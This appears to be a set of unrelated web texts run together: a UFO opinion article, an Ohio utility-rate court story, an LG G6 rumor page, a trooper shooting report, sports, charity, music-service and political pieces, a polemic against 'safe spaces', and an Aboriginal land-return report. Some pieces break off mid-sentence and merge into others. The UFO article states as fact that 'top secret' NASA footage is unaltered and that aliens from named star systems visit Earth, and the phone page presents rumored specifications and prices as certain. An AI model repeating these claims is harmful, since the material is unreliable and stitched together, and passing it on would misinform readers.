IAM Cycling (Swi)When it comes to some of the most unexplained footage of unidentified flying objects, there has been spectacular UFO film footage released from the NASA STS 48 Discovery Space Shuttle Flight. They filmed this original UFO footage between September 12 and 18, 1991. The top secret NASA film shows a UFO following after the space shuttle while it was in orbit during one of its mission.
NASA continues to refuse comment on the video even though it has come straight from one of the Discovery missions and it is most definitely at the top of the unexplained list. This footage has not been photoshopped, altered in any way, is very well documented, and has been the subject of an ongoing arduous scientific examination by multiple astronomers, scientists and space institutions all over the world.
The footage is available on YouTube and it is also below for anyone who wants to view it. The video appears to show at least a dozen objects moving around in an unusual manner. Along with that, what seems to be the most amazing part is when one entity is near the horizon and some sort of flashing occurs. It is then followed by yet another object that travels extremely fast across the field of view. After this, the first body takes off into space.
The clarifications have varied as to what everything really is and they range from space weather storms to intelligent extraterrestrial spacecraft and more. However no one has come up with any sort of positive explanation and most of them do not seem to take into account the many objects which have been caught on film.
Dr. Brian O’Leary, who once worked as as astronaut for NASA from 1967 to 1968 and later was employed at Princeton University as a physics professor before he passed away, believed that there was ample evidence to prove the people on Earth were being visited by E.T.’s and that societies from outer space had been coming to this world for a very long time. He believed that the fact of their appearance being strange to traditional western materialistic points of view was extremely troubling. The visitors were able to use the knowledge of consciousness to understand human thoughts. For mechanics, he stated they used something known as toroids, which were rotating magnetic disks that helped propulsion their ship systems. This appeared to him to be the common denominator of most UFO phenomenon.
There have been literally dozens of governments around the world which have finally declassified thousands of pages of UFO related documents through the past decade or so. As a result of this, there have been extremely high-ranking political and military personnel finally step out into the limelight and open up to what they feel is the truth.
It was not that long ago that Canada’s former Minister of National Defense Paul Hellyer spoke in Washington D.C. that he believed aliens were actually living on Earth and that most likely some of them were inside the United States government.
Hellyer made such remarks at the non-governmental hearings which were overseen by six former U.S. congressmen and were meant to look for the facts surrounding what they called “the most important issue of this or any other time, which was evidence leading to the proof of extraterrestrial existences engaging the human race.”
The former minister also exclaimed that he believed there had been at least four species of alien visiting Earth for thousands of years. He explained that the majority of extraterrestrials had come from various places known as Andromeda, Orion, Zeta Reticuli, the Pleiades, and the Altair star system. They all have different types of plans for Earth as well, he added.
The subject of UFO’s and E.T.’s is up for debate and everyone has his or her own opinion. Even after reading this article and watching the video, no one is going to change his or her mind. Because for those who believe, no amount of information is needed and for those who do not, no amount of information will ever be enough.
Regardless of where the reader stands on the UFO controversy, it is something that is heating up day by day. More attention is being paid to it all the time. It is something that can no longer be ignored. The UFO topic will continue to gain attention as the year 2014 moves on and other years take its place.
When it comes to some of the most unexplained footage of unidentified flying objects, some of the best UFO film footage was released from the NASA STS 48 Discovery Space Shuttle Flight. This was filmed between September 12 and 18, 1991. The top secret NASA film shows a UFO following after the space shuttle while it was in orbit during one of its mission
Opinion
By Kimberly Ruble
Sources:
Collective Evolution News
WordPress News
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A case before the Ohio Supreme Court could leave the state’s ratepayers with no way to recover unreasonable utility overcharges.
American Electric Power-Ohio is challenging an order requiring it to credit customers for $35 million in excess coal costs. In another case just last month, the Ohio Supreme Court ruled that AEP could keep $368 million in past overcharges.
AEP argues that both cases involved “retroactive ratemaking” — going back and changing utility rates after the fact.
The Office of the Ohio Consumers’ Counsel (OCC) says both cases show how the current regulatory scheme favors utilities.
‘Out of balance’
“Regulation is out of balance in the utilities’ favor and to the customers’ disfavor,” stresses OCC spokesperson Marty Berkowitz.
OCC was a party in the case decided last month, which let AEP keep $368 million in overcharges. It also took part in the regulatory proceedings that led to the current case.
In the current case, AEP argues that it shouldn’t have to credit customers for excess charges under a fuel adjustment clause in its 2009 rate plan. AEP-Ohio was able to impose those charges before the Public Utilities Commission of Ohio (PUCO) could conduct a detailed review to determine whether they were reasonable and prudent.
Such “single-issue ratemaking” differs from traditional ratemaking, in which “utilities were given an opportunity, not a guarantee, to recover costs from customers,” says Berkowitz.
Consumers generally have not been able to get a stay on rate payments pending detailed PUCO review and any later appeals, Berkowitz says. That’s because the Ohio Supreme Court has previously interpreted Ohio law to require posting of a cash bond. In contrast, he notes, utilities such as Dominion East Ohio and FirstEnergy can and recently have posted cash bonds in appeals from PUCO orders.
Thus, under a fuel adjustment clause and similar rate provisions, utilities get to collect the charges until they’re eventually reviewed and any appeals are decided.
But then, AEP argues, there is no “overcharge.”
“AEP Ohio does not agree with the premise that ‘overcharges’ occur when the utility is merely charging — as it must — the rate approved by the Commission,” says AEP spokesperson Terri Flora.
Essentially, AEP is saying that because the utilities were authorized to collect the money in the first place, they shouldn’t have to give any back after later review.
In effect, then, the rules would let utilities start collecting charges before the Commission could hold a detailed review. But then any later review might be meaningless without refunds or credits.
“If utilities continue to be successful in avoiding refunds to customers in circumstances where they have charged customers for costs that are later found to be unreasonable or unlawful, then single-issue ratemaking becomes even more of a problem for customers,” stresses Berkowitz.
‘A deal is a deal’
When the PUCO did conduct its review under the fuel adjustment clause, it determined AEP’s utility companies had charged too much. It ordered them to credit the overpayments against current fuel charges. AEP’s Ohio utilities appealed.
Under a 2008 agreement, AEP agreed to buy a quantity of coal for 2009 at a particular price. The agreement also gave AEP a cash payment and land with undeveloped coal reserves.
“A deal is a deal,” AEP attorney Steven Nourse told the court.
The company had already accounted for the contract’s benefits in 2008. Adjusting the 2009 price based on those benefits would be retroactive ratemaking, Nourse argued.
Arguing on behalf of the PUCO, attorney Thomas McNamee maintained there was no retroactive ratemaking.
“A deal is a deal,” agreed McNamee. However, he said, AEP could not pass through just the 2008 agreement’s high coal prices.
AEP should have offset those costs by the benefits it got as well, McNamee said. Those benefits were the cash payment and the value of the land.
The amount of those benefits allocated to AEP’s Ohio utility customers is about $35 million.
Transition and turmoil
The rate plans for both 2008 and 2009 reflect Ohio’s shift toward competition in the retail market.
During the transition, rate stabilization plans protected utilities from some of the effects of competition. Consumers were supposed to benefit from not having big fluctuations in rates.
“During that time period, customers enjoyed stabilized rates, and the Company was not able to recover extraordinary costs incurred during 2008 in particular,” notes Flora. Coal prices were unusually high in 2008.
In effect, Nourse argued that because the company accepted the risk of higher fuel prices for 2008, it should keep all the benefits it negotiated then.
McNamee maintained that the case deals only with coal purchases for 2009.
“To determine what coal costs, you have to look at the contract,” McNamee said. “You have to look at the whole contract. AEP only wants to look at a piece.”
“This contract was only for coal that was supposed to be delivered in 2009,” attorney Joseph Oliker agreed. He argued on behalf of Industrial Energy Users-Ohio (IEU).
IEU wants all $71 million of the agreement’s benefits credited to Ohio Power retail customers, with no allocation for AEP’s wholesale customers
Retroactive ratemaking?
AEP’s arguments about retroactive ratemaking come right after its recent victory in another rate review case.
In February 2014, the Ohio Supreme Court held that AEP customers could not recover $368 million of overcharges. Those charges were supposed to cover AEP’s costs for standing ready to sell electricity to customers who might return after trying a competitive supplier.
In earlier proceedings, the Ohio Supreme Court held that no evidence supported those charges. However, its February 2014 decision held that the Commission could not order AEP to refund amounts paid while appeals were pending.
“[W]e recognize that this particular outcome is unfair,” Justice Judith Ann Lanzinger wrote.
Nonetheless, the court felt its result was required by a 1957 case that prohibited retroactive ratemaking. A stay of the contested charges could have prevented the unfair result, Lanzinger added.
Justices Paul Pfeiffer and William O’Neill dissented.
The Supreme Court has previously interpreted Ohio law to require a cash bond as a condition of a stay, notes Berkowitz.
“OCC (a government agency) cannot afford to pay for such a bond,” he says.
“The $368 million that AEP gets to keep should have been put to use to reducing Ohioans’ electric bills,” Berkowitz adds.
Drawing distinctions
Justice Pfeiffer’s comments during oral argument last week suggested that the fuel adjustment case differs from the one decided last month.
“‘Set-off’ would be a better term for what’s going on here,” Pfeiffer suggested.
“If you’re making up for past inequities or ‘unlawful waste’ with future adjustments, then you’re still engaging in retroactive ratemaking,” argued Nourse.
OCC was also a party to the PUCO proceedings that led to the ruling challenged in the fuel adjustment case. It did not appeal the Commission’s ruling.
“In our view the PUCO’s decision was not retroactive ratemaking, and the PUCO’s decision should be upheld on appeal in the interest of Ohio customers,” says Berkowitz.
One question posed to Nourse last week asked how much the fuel adjustment case would impact individual customers.
“It would be less than $10, and it would probably be spread over a period of a year,” Nourse answered.
That amount still matters, insists Michael Smalz of the Ohio Poverty Law Center. He appeared on behalf of the Appalachian Peace & Justice Network in the PUCO proceedings for the case.
Low-income ratepayers are hit particularly hard by high utility rates, says Smalz. “They already find it very difficult to pay for their food and utilities and rent and everything else—their basic necessities.”
“It doesn’t seem really fair to me to say when you’re trying to recover an overpayment that it’s a retroactive rate increase,” Smalz adds.
Looking ahead
FirstEnergy also raises an argument about retroactive rulemaking in another pending case. That case involves the PUCO’s 2013 ruling that FirstEnergy’s Ohio utilities overcharged customers for renewable energy credits. About $43 million is at stake.
As with AEP’s fuel adjustment clause case, FirstEnergy’s renewable energy credit case is one where the utilities could charge customers before the PUCO determines whether the expenses are reasonable and prudent.
The FirstEnergy case is in the briefing stages now.
Meanwhile, a new appeals case asks the Ohio Supreme Court to rule that a bond is not required to stay collection of charges.
The new case challenges a PUCO ruling that would let Duke Energy Ohio bill customers for $55.5 million in environmental study and clean-up costs at two sites.
Duke Energy has not used those two sites for utility service in more than 50 years. Nonetheless, the PUCO agreed to let Duke Energy pass the costs through to customers.
OCC, the Ohio Manufacturers Association, Kroger Company, and Ohio Partners for Affordable Energy appealed. And on Monday, they asked the Ohio Supreme Court to hold that a bond is not required to keep Duke Energy from collecting the charges during the appeal.
Among other things, the motion argues that the law requiring a bond improperly restricts the court’s “inherent authority to issue stays.” OCC and the other moving parties say that violates separation of powers under the Ohio Constitution.
“OCC also explains that it cannot afford the cost of a bond,” says Berkowitz.
In any event, notes Berkowitz, the bond requirement for a stay and the retroactive ratemaking argument put customers “at risk” for paying millions more than they should for utility charges.
“OCC will work with legislators to seek to correct this system that favors utilities against the interests of Ohio customers,” Berkowitz says.LG G5, the modular concept | LG G6?
Before we talk about LG G6, let’s refresh our memory with the modular kid on the block. LG turned heads with their new flagship, retaining some of the good stuff from the Nexus lineup and mixing it with LG V10 goodness. LG G5 came with the same 5.3 inch Quantum display with a resolution of 1440×2560. The dual camera gets some mixed opinions and the Snapdragon 820 coupled with 4GB RAM seems to keep up with the heavy and bloated LG UI. The Snapdragon 652 variant also keeps up the reputation in terms of features and performance. The real innovation though is the ability to customize the bottom part of the G5 with a camera grip or other accessories soon to be launched. We will look into LG G6 Specs, Features, Price, Release Date, News And Everything you need to know!
Buy Now LG G5 – LG G5 Unlocked Phone, 32 GB Titan (US Warranty)
LG G6 the Real Deal | LG G6 Images
LG G6 will be the next big update from LG iterating all these features and adding some new ones to keep up with the competition. The G6 expected in February 2017 will be a major change for LG since the G5 modular concept seems to keep up with the hype.
LG G6 Display and Body : QHD and metal mixes well
FHD displays are a thing of the past, even QHD has become the norm. LG G6 won’t be any different in this department, scaling the screen to 5.5 inches with a total resolution of 2560×1440. This might not be seen as huge jump, considering a human eye won’t be able to notice any difference in pixels and density, this is more than enough. The display will be the same quantum dot panel as the G5 and as per the reviews, it seems to do a pretty good job.
The body of the LG G6 will be an all-aluminium one which as per the rumors will be rated for water and dust resistance. There will be LG signature rear touch id for security and USB Type-C for connectivity options. The modular concept will once again shine here with accessories from LG already in the works.
LG G6 Hardware and Camera : No dual camera this time
Let’s talk camera first. Although LG had it going with the G5, let’s face it a dual camera setup isn’t worth it, a possibility to implement similar cameras isn’t that easy. So, LG G6 will shave some pixels down to 12 Megapixels with the same fast 1/.8 lens. This will be coupled with laser auto-focus for faster auto-focussing and OIS. If rumors are to believe, the sensor in the LG G6 will be bigger than the G5’s, measure 1/2.3 inches and with bigger pixels for better shots. Videographers will be pleased to record 4K video in 60fps with other options as well. Selfie shooters will love the 8 Megapixel f/1.8 camera.
Talking about the guts, the LG G6 will feature Snapdragon 830 for the processing power coupled with 4GB of RAM. There will be 32, 64 and 128GB options with an expandable storage of upto 200GB. LG UI will also get an update on the G6 with more sleeker interface and rumors pointing to a Nexus like stock Android UI. IF that’s true, we will have a very snappy phone.
LG G6 Battery and Price : Mammoth, the battery not the price
With all this power and running atop Android, the G6 will be needing all the power it can get. LG is already working on it. A 3200mAh battery will power the LG G6 and will be able last it a full day with heavy usage. Android N is also polished to conserve battery as well, so for a normal we are talking two days or more of scree on times. LG’s always “On” mode will be given an update to include more information on the screen now. The best part is that the G6 will retain the removable battery setup that we love about the G lineup.
LG G6 Price
Mammoth battery and specs, the G6 will be a premium device overall, but what about the pricing? Samsung and other manufacturers are slanting towards a less aggressive price tag and LG will follow the same path. LG G6 will have a price tag of $950 aiming for February 2017. LG G6 will be yet another modular flagship from LG for 2017.
LG G6 Expected Price Country Wise | World Wide :
LGG6 price in India – 60,000 INR
LGG6 price in USA – $950 USD
LGG6 price in UK – £635 British Pound Sterling
LGG6 price in Nepal – 99760.00 Nepalese Rupee
LGG6 price in Sri Lanka – 130875 Sri Lankan Rupee
LGG6 price in Russia – 45907 Russian Ruble
LGG6 in Canada – 1130 Canadian Dollar
G6 price in Sweden – 7420 Swedish Krona
G6 Price in Denmark – 5980 Danish Krone
G6 price in South Africa – 11212 South African Rand
G6 LG price in Malaysia – 3335 Malaysian Ringgit
LGG6 price in Hong Kong – 7754 Hong Kong Dollar
LGG6 price in Philippines – 44890 Philippine Peso
LGG6 price in Mauritius – $1000 USD
G6 price in Indonesia – 12202000 Indonesian Rupiah
G6 price in Japan – 115770 Japanese Yen
LGG6 price in Qatar – 3640 Qatari Rial
G6 price in South Korea – 1097750 South Korean Won
G6 price in Austria – 800 Euro
G6 price in China – 6107 Chinese Yuan
G6 price in Bangladesh – 77170 Bangladeshi Taka
LGG6 price in Australia – 1147 Australian Dollar
LGG6 price in Singapore – 1292 Singapore Dollar
G6 price in Thailand – 32830 Thai Baht
LGG6 price in Belgium – 800 Euro
LGG6 price in Switzerland – 966 Swiss Franc
G6 Price in Turkey – 2254 Turkish Lira
LGG6 price in Ireland – 800 Euro
LGG6 price in Chile – 594470 Chilean Peso
G6 price in Mexico – 13566 Mexican Peso
G6 price in Europe – 800 Euro
G6 price in Iraq – 1163000 Iraqi Dinar
G6 price in Israel – 3810 Israeli New Sheqel
G6 Price in Netherlands – 800 Euro
G6 price in Germany – 800 Euro
LGG6 price in Saudi Arabia – 3752 Saudi Riyal
LGG6 price in Norway – 6806 Norwegian Krone.
LG G6 Infographics
Update 5 April : Waterproof LG G6 and more leaks
LG G5 teardown shows coating of thick primer covered with plastic and underneath it, a sheet of metal, but new leaks about the LG G6 shows it will have a full metal construction unlike the marketing gimmick of the G5. LG was also |
of the crowdfunding campaign, no outside investors' or developers' funding would be required. This goal was reached October 18, 2013.[15]
Works [ edit ]
FilmsUPPER DEERFIELD TWP. -- Gerald Sykes and his wife were asleep late Friday night at their Cumberland County home when their dog began barking.
Sykes' wife woke him up and he went into the living room. At that point, according to longtime family friend and attorney Rich Kaser, Sykes looked out through the French doors leading to a deck where he saw the shadow of a person outside.
Kaser said Sykes went back into his bedroom and got his shotgun.
Sykes "felt intruders were trying to get in and he was yelling to his wife to call 911," Kaser said.
What happened next is subject of investigation. Authorities say two state troopers had come to the home after mistakenly being told it was the location of a 911 hang-up call.
According to authorities, shots were exchanged. One trooper fired four times and Sykes fired his shotgun once.
Authorities have not said who fired first.
However, Kaser says the Sykes family told him police fired first from outside the home as Sykes, 76, stood in the living room.
Sykes was hit three times, his attorney says, and then he fired off one shotgun blast that went through one of the doors to the outside.
The troopers had gone to the Sykes' home after being told that a 911 hang-up cell phone call placed around 11:30 p.m. had originated there. Police arrived at the home around midnight.
It turned out that was a mistake, according to the New Jersey Attorney General's Office which is reviewing the case.
Authorities said the troopers first tried to get the attention of someone in the home which is located far back off the road by knocking on a front door and when there was no response, went around back to the deck area.
Kaser, a Woodbury attorney, said he visited Sykes at Cooper University Hospital in Camden. Kaser said Sykes "thought there were bad people out there (on his deck).
Dispatch to wrong house ends with trooper shooting man
Sykes' 80-year-old wife, whom Kaser did not identify by first name, frantically tried to call 911 for help after her husband had been shot. She had trouble because she was so upset but was able to reach the couple's daughter who called for help, Kaser said.
According to Kaser, Sykes himself, despite being seriously wounded, also called 911 for help.
Kaser said Sykes was ordered to come out of the house. His shirt now soaked in blood, his attorney said, he was helped out by his wife and then ordered to lay face-down on the ground and was handcuffed.
Sykes' family was told Sykes was under arrest, according to Kaser, and the elderly man was then taken in handcuffs to be treated.
He was listed in critical, but stable condition at the hospital, authorities said.
Kaser said Sykes had been a longtime South Jersey resident, living in both Gloucester and Cumberland counties.
He called the incident "a tragic mistake."
One of the two troopers was grazed by either flying glass or by the round from Sykes' shotgun, authorities said. They were treated and released from a hospital.
There have been no charges filed in the case.
Police, in most cases, go to the scene of a 911 hang-up call just to be sure there is nothing wrong. Upper Deerfield does not have its own police force and relies on State Police to patrol the township.
Since this was a police-involved shooting, the investigation has been turned over to the Attorney General's Office.
An Attorney General's Office spokesman on Saturday night, citing the ongoing investigation, said he could not comment on Kaser's account of what happened.
Bill Gallo Jr. may be reached at bgallo@njadvancemedia.com. Follow Bill Gallo Jr. on Twitter @bgallojr. Find NJ.com on Facebook.2012 Rodgers vs. Kaepernick: Wk. 11-17
NFC North blogger Kevin Seifert and I are putting the finishing touches on a "Double Coverage" item breaking down the upcoming Green Bay-San Francisco playoff game.
That discussion will appear on our blogs in the not-too-distant future. It includes a segment on the starting quarterbacks for each team, a discussion we'll continue during the "Inside Slant" podcast later Wednesday,
For now, I wanted to pass along a statistical comparison showing how the Packers' Aaron Rodgers and the 49ers' Colin Kaepernick have fared since Week 11, when Kaepernick became a starter. This seven-game stretch provides a baseline for comparison, at least.
Rodgers is obviously far more accomplished than Kaepernick in the bigger picture. He has won a Super Bowl and is the reigning MVP. Kaepernick is just getting started.
But when we narrow down the time frame to this relevant stretch of seven games, we see that both quarterbacks appear to be producing at high levels. Kaepernick outranks Rodgers a few categories, including Total QBR. He takes far fewer sacks, has a 238-97 edge in rushing yardage and has posted the same won-lost record as a starter.
Sounds like the makings for an entertaining and hopefully enlightening QB discussion.First, it was the incriminating video of Jason Russell. Now, unbecoming footage of another one of Invisible Children's charity directors has surfaced.
TMZ obtained a clip of Jedidiah Jenkins, Invisible Children Director of Ideology, talking in slurred speech about how "rad" it was that he collected $1 million. It was apparently shot in 2010 after Invisible Children won the cash in the Chase Community Giving Facebook competition.
“Here’s $100,000 for Haiti and $900,000 extra for me. Get on the bandwagon,” Jenkins says in the video.
Jenkins tells RumorFix exclusively that he's unfazed by the video and that the vodka bottle was "clearly filled with water."
“TMZ can’t ruin my reputation,” he laughed. “I’m not worried.”
He says the video was created for a co-worker who was out of town when they won the prize and that the organization donated the money to fund education in northern Uganda.
“I was joking. It was made for my co-worker who was out of town when we won the prize. I made it for her to make her laugh and let her know we were thinking of her in the office. It’s hilarious that anyone would think it anything other than a joke. I mean, who can drink that much Vodka? Definitely not me. I’d die. It’s clearly water. I’m not gonna apologize for being a human that jokes with his friends. I’m just sad that bottom feeders like TMZ get pay checks for manufacturing controversy in real people’s lives.”
It's not the first time that the organization behind the viral "Kony 2012" video has been criticized for its questionable spending.
According to Invisible Children's most recent budget report, it took in $13.8 million last year and spent $8.9 million. Of that, $3.3 million funded programs in Central Africa and the rest was spent on marketing, management, general expenses, media and "awareness products."
But the charity defended its spending strategy, saying that getting the word out is key in activating citizens.
"We've never pretended all the money goes to the ground, because we don't believe that's the best use," Jenkins told CBS. "The best use is spreading the word and then doing the highest-impact programs possible on the ground."The site long served as the vanguard of the UK's Web 2.0 activities Internet radio and social music site Last.fm is to start charging listeners outside the UK, US, and Germany. Users outside those three countries will pay 3 euros per month to listen to Last.fm Radio, the site's streaming music service. The other content on the site, such as biographies, videos, charts, and "scrobbling" - the site's musical profiling - will remain free for all. Those subject to subscription will first be allowed a 30-track free trial. "Sure, this was a business decision," said Last.fm's Matthew Ogle, in response to a number of queries that users raised on the company's blog. "But after looking at our resources and opportunities we think it's the best way to keep improving Last.fm radio (and also support all the other free services on Last.fm)." The company says that its existing sales force, in combination with that of CBS, which bought the firm in 2007, could cover its licensing costs through advertisement revenue in the UK, US and Germany. Elsewhere, it says, those costs will have to be covered by subscription. "While we would like to provide the same service for users of all countries," said Last.fm's Owen, "the world is a huge place and it's not cheap to deliver music over the Internet." Reaction to the decision was largely negative on the blog post, with many users declaring that they would delete their accounts rather than pay up. "A word of the wise: if this charge ever comes to the UK, I'll be ditching my subscription immediately. Right now, you're just making Spotify look more and more attractive," said blog poster StudleyUK. Avinash Meetoo, a blog poster and Last.fm-contributing musician from Mauritius, suggested that the site should have introduced a quota - free for a certain number of hours per day, and charged thereafter. "This would allow people like me (who have been contributing to the Last.fm database for years now) not to feel completely abandoned. Don't forget that last.fm is what it is because of us," he said.
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Friday, September 24, 2010
Just Get A Job At A Galt's Gulch Starbucks And STFU
by digby
I just love it when young, well paid elites tell older middle class workers who have spent 30 years building a career that they should have planned better for finding themselves unemployable in their 50s. I especially love it when they tell them to go get a job at Starbucks if they have a hard time finding a new job --- so they don't get "depressed" and prove to their spouse that they aren't just being lazy fucks. That 10% unemployment rate is no impediment to gainful employment for 57 year-olds who have never served a fucking latte in their lives... they're handing em out to anyone who asks. (Personally, I think they should just move to Galt's Gulch and do necessary parasite jobs that serve our productive 1%, like garbage collector and dominatrix.)
My only solace is that they too will one day be in their 50s (if they're lucky) and I will be fervently hoping that this happens to them and they will be able to go through this character building experience for themselves. If they're lucky they won't have to listen to people who know absolutely nothing about what it's like to be in that position, the economic pressures, the psychological pain, the fear that they are going to lose everything they have as spoiled twits drawl on about how it's their own fault for failing to better prepare and now they just have to accept that they need to work for peanuts serving frappucinos to snotty yuppies. We'll see how "helpful" they find this advice.
.
digby 9/24/2010 05:30:00 PMFrom left to right: Israeli MKs Oded Forer and Avraham Neguise with Reps. Ron DeSantis (R-FL) and Bill Johnson (R-OH) on November 15.
Washington, DC – November 16, 2017 – An unprecedented joint declaration by members of Congress and Israel's Knesset has laid the core principles of a bold new approach to ending the Israel-Palestinian conflict ahead of an expected new push for Middle East peace by President Trump.
The declaration signed by members of the Congressional Israel Victory Caucus (CIVC) and the Knesset Israel Victory Caucus (KIVC) affirms that "the primary obstacle to ending the Palestinian-Israeli conflict is the near-century of Palestinian rejectionism of the right of self-determination for the Jewish people," and that "only Palestinian acknowledgement of the Jewish people's historic connection to the Land of Israel, and acceptance of Israel as a Jewish and democratic state, will end the conflict."
The declaration was signed on a visit by KIVC Co-Chairman Oded Forer (Yisrael Beytenu) and Chairman of the Knesset Committee for Immigration, Absorption, and Diaspora Affairs Avraham Neguise (Likud) to Washington and New York, where they met their counterparts in the CIVC, dozens of congressmen from both sides of the aisle, senior government decision-makers, Jewish and Christian leaders, and other opinion-shapers.
Click here to view.
"Every attempt at negotiations with the Palestinians without demanding that they recognize Israel as the national homeland of the Jewish people will fail," MK Forer said. "Together with members of Congress from both parties, we call on the American administration to demand that the Palestinians recognize the State of Israel as the national homeland of the Jewish people as a precondition to future talks. There can be no negotiations on our legitimate right to self-determination."
"The central message we have brought to the US is that the Palestinians need to move from rejectionism to recognition and we are delighted at the support we have received from our friends in Congress, both Republicans and Democrats," said MK Neguise. "We hope this is a message that will be taken on board by the Trump administration in any efforts or initiatives it pushes forward in the months ahead."
The CIVC, co-chaired by Reps. Ron DeSantis (R-FL), Juan Vargas (D-CA), and Bill Johnson (R-OH), has 32 members of Congress from both the Republican and Democratic parties. The KIVC, co-chaired by Forer and MK Yaakov Perry (Yesh Atid), has 16 MKs representing every mainstream Zionist party in both the government and the opposition.
"It has been an honor to meet with the Israeli members of the (Knesset) Israel Victory Caucus this week and discuss the cherished friendship between our two nations," Rep. DeSantis said. "We agree that the greatest obstacle to peace is the refusal of Palestinians to acknowledge that Israel is the legitimate national home of the Jewish people."
KIVC Co-Chair Oded Forer and MK Avraham Neguise with (clockwise from top left) Rep. Juan Vargas (D-CA), Rep. Scott Perry (R-PA), Rep. Joe Wilson (R-SC), and Hillel President Eric Fingerhut.
"I'm looking forward to working with our allies in the Knesset to advance the idea of an Israeli victory as an alternative approach to the Israeli-Palestinian conflict – one where Israel stops making unnecessary concessions and instead the Palestinians concede their goal of destroying the State of Israel and accept that it is here to stay," Rep Johnson said. "There can be no progress made towards peace until the Palestinians accept that significant, but simple concept."
The two caucuses were formed with the support of the Middle East Forum, led by Daniel Pipes, who launched the Israel Victory Project (IVP) earlier in the year.
"The Israel Victory Project is building political and intellectual support eventually to replace the current 'peace process' paradigm with one that will work better for both Israelis and Palestinians," Pipes said.
The Middle East Forum promotes American interests through activist, intellectual, and philanthropic efforts.
For immediate release
For more information, contact:
Gregg Roman, Director
Roman@MEForum.org
215-546-5406A generation is being systematically hobbled by merciless, cultural assassins.
“Madness is rare in individuals, but in groups, it is the rule.”
Nietzsche
A “Safe Space” is a mental prison.
It’s a space engineered to keep its occupants in a childlike state of perpetual fear and paranoia, rendering them incapable of emotional maturity.
It’s a space where dissent from the mandated cultural consensus is shouted out with slogans and pejoratives.
It’s a space where ideas are a threat and diversity of opinion is forbidden.
It’s a space where our daughters learn to hate men, and our sons are taught to hate themselves.
It’s a space where false-flags create the perception that the opposition is violent, while violence is used and justified by the soldiers of political correctness.
It’s a space where intolerance rules in the guise of tolerance.
It’s a space where a multi-cultural utopia is promoted openly while a monolithic society in which the world view of the social warrior priestesses informs a singular, sanctioned belief system.
It’s a space where conformity is the new diversity.
It’s a space where heretics are subjected to unrelenting public derision in digital pillories and a complicit media warps reality to bend it to the will of playground bullies.
It’s a space where petty tyrants lobby to graft their illiberal ideology onto the branches of power and convert the masses at gunpoint.
It’s a space where misguided warriors battle for faux rights while all of our rights are stolen from us.
It’s a space where people suffering from arrested development want dissidents to be arrested.
It’s a space where the passion and vitality of youth have been cynically and tragically misguided into a rebellion aimed at the extinction of individual thought and freedom of speech.
It’s a space where paradoxically, out of what is perceived by the warriors as the moral high ground, an unholy crusade has been launched against humanity.
It’s a space where unity is impossible by design and hatred has been perverted into a virtue.
It’s a space where a symbiosis of paranoia is achieved.
When true believers attribute their failures and all evil to their adversaries to avoid responsibility, they turn perceived enemies into real enemies.
It’s a space where only the chosen groups may claim the status of victimhood and the entitlements that come with it.
It’s a space we have seen before during bloody and nightmarish campaigns in places like China and Cambodia.
It’s a space where the culture is actually a cult.
It’s a space that is historically and in reality, never safe.
www.AnthonyFreda.comMore than a century after dispossession by colonial occupiers, 118,000 hectares of ‘breathtaking’ land returned to traditional owners
The Wuthathi people have regained legal ownership of their north Queensland homeland, the site of historic battles involving conservationists and pro-development governments, more than a century after their dispossession by colonial occupiers.
The traditional owners accepted the title deeds for 118,000 hectares of Cape York land, including the white sands of Shelburne Bay, from the Queensland treasurer, Curtis Pitt, at a ceremony in Lockhart River on Thursday.
The landmark handover followed 20 years of negotiation with the Queensland government and decades more of fighting plans to exploit the region for cattle grazing and sand mining.
The Wuthathi’s resistance to that exploitation – which included a plan backed by the Bjelke-Petersen government to mine the unspoiled Shelburne dunes for sand to export to Japan – saw them campaign alongside environmental groups such as the Australian Conservation Foundation (ACF) and the Wilderness Society.
Righting a wrong: huge land handover to traditional Cape York owners Read more
The Wuthathi will give over about a third of the land for new national parks they will run with the state, hoping for jobs and economic benefits through tourism and conservation management.
Facebook Twitter Pinterest Traditional owners described the handover of 118,000 hectares of Cape York land as a day of ‘great happiness’ that raised hopes ‘the young ones get jobs on country’. Photograph: Kerry Trapnell
Johnson Chippendale, chairman of the Wuthathi Aboriginal Corporation, said the circle was now “fully complete” after his ancestors were removed from their country four generations ago. “Our people were some of the best conservationists in the world,” he said.
“We have eight seasons in one year. Our people had the knowledge to hunt and gather from different areas, and they knew exactly what time and what place we should be going to collect.”
Traditional owner Phil Wallis said Wuthathi country, with its sandy white dunes, rainforests, wetlands and lakes no longer found elsewhere in Australia, was “a magical place”.
“This country is unspoiled, untouched, there’s a lot of sacred sites and story places that the younger generation needs to learn and carry on those practices – whether it be gathering food, medicine, teaching those kids about the story places and why they are important to us, and managing the area as a whole,” he said.
Jean Mosby, another traditional owner, said the long-awaited handover day was one of “great happiness” that raised hopes “the young ones get jobs on country”.
Alison Peggy Bender-Warren said that on first seeing the white sandy dunes of her ancestral homeland from a plane this year, “I thought it was snow, but it was all sand”. “It’s so white, it’s beautiful.”
Facebook Twitter Pinterest ‘I thought it was snow, but it was all sand’: Wuthathi traditional owners have agreed to make a third of the land returned to them protected national park. Photograph: Kerry Trapnell
Pitt said a “breathtaking landscape” had been “returned to its rightful owners”. “This is a defining moment in Queensland’s history, culture and conservation — there are few other places like this in Australia,” he said.
“A chapter is closing and another opening for these traditional owners to explore economic and sustainable enterprise with confidence, whether it be passing on knowledge to their people or sharing their culture with the world.”
ACF northern Australia project officer Andrew Picone said the new Wuthathi national park at Shelburne Bay made up the last undisturbed landscape of its type in Australia and was “of international significance”.
“The return of land to the Wuthathi people is the best way to protect this area’s natural and cultural heritage,” Picone said.
He said ACF, which first proposed a national park at Shelburne Bay in 1976, “congratulates the Wuthathi people on this historic day that sees the return of their homelands and thanks them for the creation of Australia’s newest national park”.
Lyndon Schneiders, national director of the Wilderness Society, said it had been “an honour” to work with the Wuthathi, “a determined people who have fought long and hard to protect and get back their ancestral lands”.
This especially included “helping to protect the spectacular snow-white sand dunes from repeated attempts by government and business to sand mine them”.
Much of the Shelburne Bay region was turned into cattle properties in the early 1960s, in what Shneiders said was “an ill-considered decision by the Queensland government to open up north-eastern Cape York as a beef-producing region”.
Scheiders said the mid-1980s saw the Bjelke-Petersen government back “another stupid proposal” by issuing sand-mining leases to a consortium including Japanese importers. But this was scotched by the Hawke federal government using its foreign investment powers after a national campaign by the Wuthathi in alliance with conservation groups.
'Justice is delivered': Yarralin handed back to traditional owners after 40-year battle Read more
The Wuthathi succeeded in their native title land claim last year, 18 years after first lodging their application.
Their land is home to more than 30 rare and threatened species, including the southern cassowary and the palm cockatoo.
The Queensland government has a policy of trying to secure half of all land handed back to traditional owners for national park but agreed to a third in the case of the Wuthathi.
